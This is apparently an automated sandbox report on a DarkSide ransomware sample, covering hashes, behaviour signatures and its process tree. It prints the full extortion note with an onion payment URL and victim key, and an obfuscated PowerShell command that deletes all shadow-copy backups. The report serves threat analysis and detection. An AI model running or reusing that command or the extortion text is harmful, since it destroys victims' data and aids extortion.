Overview

overview

10

Static

static

3

sub_691515a485b0.exe

windows10-2004-x64

10

sub_691515a485b0.exe

windows11-21h2-x64

10

Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260513-en
  • resource tags

    arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    24/05/2026, 01:40

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General

  • Target
    sub_691515a485b0.exe
  • Size 59KB
  • Sample260524-b3mlrad15q
  • SHA256 691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
credential_accessdefense_evasiondiscoveryexecutiondarksideransomwarespywarestealer

Malware Config

Extracted

Path

  • C:\Users\Admin\README.4c6f08c7.TXT

  • darkside

Ransom Note
  • ----------- [ Welcome to DarkSide ] -------------> What happend? ---------------------------------------------- Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data. But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network. Follow our instructions below and you will recover all your data. We downloaded a lot of interesting data from your network. If you need proofs, we are ready to give it. The data is preloaded and will be automatically published if you don’t pay. Your data will be available after automatic publication for free downloading at least 6 months at our tor cdn servers. If within 3 days you don't contact with us, we will send press-releases about this accident to major media outlets, after another 3 days after sending press-releases we will start to upload your private data. Here is the list of information that we copied from your network: Passports and visas from: DOCUMENTS-RED SEA PROJECT DOCUMENTS-VISIT VISA EMPLOYEES IQAMA & PASSPORTS FOR SWAB TEST SCAN DOCUMENTS Contracts and passports as well as test results for SARS-COV19 from: CONTRACT COVID 19 Status Report Passport and photo Accounting & Financing We also copied information from the following departments: RAKFIN RAKHSE RSPDC RSPFIN RSPQLTP RSPSTO RSPTEC SAJSPFIN RSPQLT RAKEENG We paid a lot of attention to the personal data of employees as well as the drawings of your projects You must understand that if information about your developments gets publicly available: 1) your clients data can be used by criminals 2) your clients will fill lawsuit against you 3) government regulators will fine you for data breach, if you have in clients at least one EU resident then you will be also fined by EU government by GDPR law with millions of dollars of fine or permit ban for working with EU citizents. US has the similar laws, but they are not so costly, however the total cost will exceed the asked amount from you, so our offer is the best deal for you to resolve this issue. What guarantees? ---------------------------------------------- We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests. All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems. We guarantee to decrypt one file for free. Go to the site and contact us. How to get access on website? ---------------------------------------------- Using a TOR browser: 1) Download and install TOR browser from this site: https://torproject.org/ 2) Open our website: http://darksidfqzcuhtk2.onion/3NQA47J490NLKJVB1FI43HHCEJO62CE3E440J4H4K564VRQ8AFONVJQOM8158NR3 When you open our website, put the following data in the input form: Key: zm7QxFcBLUS2PdXT2XI4gIg6FuXOMT67rYgWK4ZdNE3jt6R6skLNBCiW7ryVA7ej438jGLsBzZ1mog9YLjglfFG3Ezw57Ks0jJQZMO2AokEchnlupHVbK7ZTlk4kDSMP79vNfLUDI8ppzxNTOtcWQLTtzxCI7zb6ufHXbQe5xQUJvwTJbRVmcNib462NddZoyQ0zjKh8GsEPEfQBCkTtiYR8aVMlr0GBQKzQvDmmBks9y0IupRiKMbGf607vVNegtZXEUFXOfhQfnUwOYUAkX4t83P4eQKbPaFTYpasoEC7Xm0XU1SaX3KAagaqDaIH69YQYZOJZaTrc5NtsPPRH7R1HlOMZP2bC3GMsbLaK91saXy9FcDZpn9AFkVVQHlV9xov5GzZ5GMtxb9QUcpth5a12WpVKpi5wdKNc3H3Q4jNqQjkxUJcM35X9Dkie8LKOYvC039zvnTcClzqhNza6mXhgcd7rGSWQZ6EoJ9yn6LOEf8bwjIoHrGqoYQwS6F7ZWeLd5VtbUGE7iObjGj6vdFjqhKLOxeuNhGx4ZyZ5ZR6e5K7uvLZWmYq !!! DANGER !!! DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. !!! DANGER !!!
URLs

  • http://darksidfqzcuhtk2.onion/3NQA47J490NLKJVB1FI43HHCEJO62CE3E440J4H4K564VRQ8AFONVJQOM8158NR3

Signatures

  • Family: DarkSide

    Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.

    ransomwaredarkside
  • Renames multiple (162) files with added filename extension

    This suggests ransomware activity of encrypting all the files on the system.

    ransomware
  • Credentials from Password Stores: Windows Credential Manager 1 TTPs

    Suspicious access to Credentials History.

    credential_accessstealer
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

    execution
  • Sets desktop wallpaper using registry 2 TTPs 2 IoCs
    ransomware
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Modifies Control Panel 1 IoCs
    defense_evasion
  • Modifies registry class 5 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 25 IoCs
  • Suspicious use of WriteProcessMemory 1 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Users\Admin\AppData\Local\Temp\sub_691515a485b0.exe
    "C:\Users\Admin\AppData\Local\Temp\sub_691515a485b0.exe"
    1⤵
    • Sets desktop wallpaper using registry
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • System Location Discovery: System Language Discovery
    • Modifies Control Panel
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:6072
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:5628
  • C:\Windows\system32\vssvc.exe
    C:\Windows\system32\vssvc.exe
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    PID:5608

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        powershell.exe.log
        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
        • Size 3KB
        • SHA256 e336a593bd31921c46757a88a99759f6a33854d0c8b854c0c8f118e5cede1ea1
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        StartupProfileData-NonInteractive
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 035a8ca4cc710c8ff21afda7333961ffbe218d68333f763b720c19468ac75a0c
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        __PSScriptPolicyTest_w2vzlgjh.azw.ps1
        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_w2vzlgjh.azw.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        README.4c6f08c7.TXT
        • Path C:\Users\Admin\README.4c6f08c7.TXT
        • Size 3KB
        • SHA256 0afc4ee409633e3dcfc5185a9d61c9302090099761951b5566cbd69370d85e27
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        memory/5628-1-0x000001D2A4A00000-0x000001D2A4A10000-memory.dmp
        Download

        memory/5628-2-0x000001D2A4A00000-0x000001D2A4A10000-memory.dmp
        Download

        memory/5628-9-0x000001D2A6A80000-0x000001D2A6AA2000-memory.dmp
        Download

        memory/5628-10-0x000001D2A4A00000-0x000001D2A4A10000-memory.dmp
        Download